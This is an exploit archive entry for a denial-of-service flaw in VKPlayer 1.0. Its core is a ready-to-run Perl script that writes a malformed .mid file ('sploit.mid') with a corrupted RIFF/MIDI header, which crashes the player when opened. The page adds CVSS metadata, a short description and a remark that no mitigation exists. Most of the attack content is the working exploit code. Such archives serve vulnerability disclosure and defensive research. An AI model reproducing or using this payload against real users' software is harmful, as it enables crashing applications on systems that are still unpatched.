VKPlayer 1.0 (.mid) Denial of Service Exploit

vendor:

VKPlayer

by:

cr4wl3r

7,5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: VKPlayer

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: No

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

Unknown

VKPlayer 1.0 (.mid) Denial of Service Exploit

This exploit is a denial of service attack against VKPlayer 1.0. It creates a malicious .mid file which, when opened with VKPlayer, causes the application to crash. The exploit is coded in Perl and creates a file with a malicious header.

Mitigation:

No known mitigation exists for this vulnerability.

Source

Exploit-DB raw data:

#!/usr/bin/perl


# VKPlayer 1.0 (.mid) Denial of Service Exploit
# Download: http://www.brothersoft.com/vkplayer-239785.html
# Exploit Coded by: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
# From: Indonesia
#
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# WARNING - WARNING - WARNING - WARNING
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
#
# Disclaimer: The author published the information under the condition
#             that is not in the intention of the reader to use them in order to bring
#             to himself or others a profit or to bring to others damage.
#
#
# Gr33tz: No Thanks



print "
[+]-----------------------------------------------[+]
[+] VKPlayer 1.0 (.mid) Denial of Service Exploit [+]
[+] By : cr4wl3r                                  [+]
[+]-----------------------------------------------[+]
";

$buff = 
"\x52\x49\x46\x46\xff\xff\x00\x00\x52\x4d\x49\x44\x64\x64\x64\x64".
"\xf8\xff\xff\xff\x4d\x54\x68\x64\xff\xff\xff\xff\xf8\xff\xff\xf8".
"\xf8\xff\xff\xff\xf7\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
#######################################################################################
open(file, "> sploit.mid");
print (file $buff);
#######################################################################################
print "\n[+] Done!\n
[+] Open with VKPlayer and play\n
[+] Coded by cr4wl3r\n";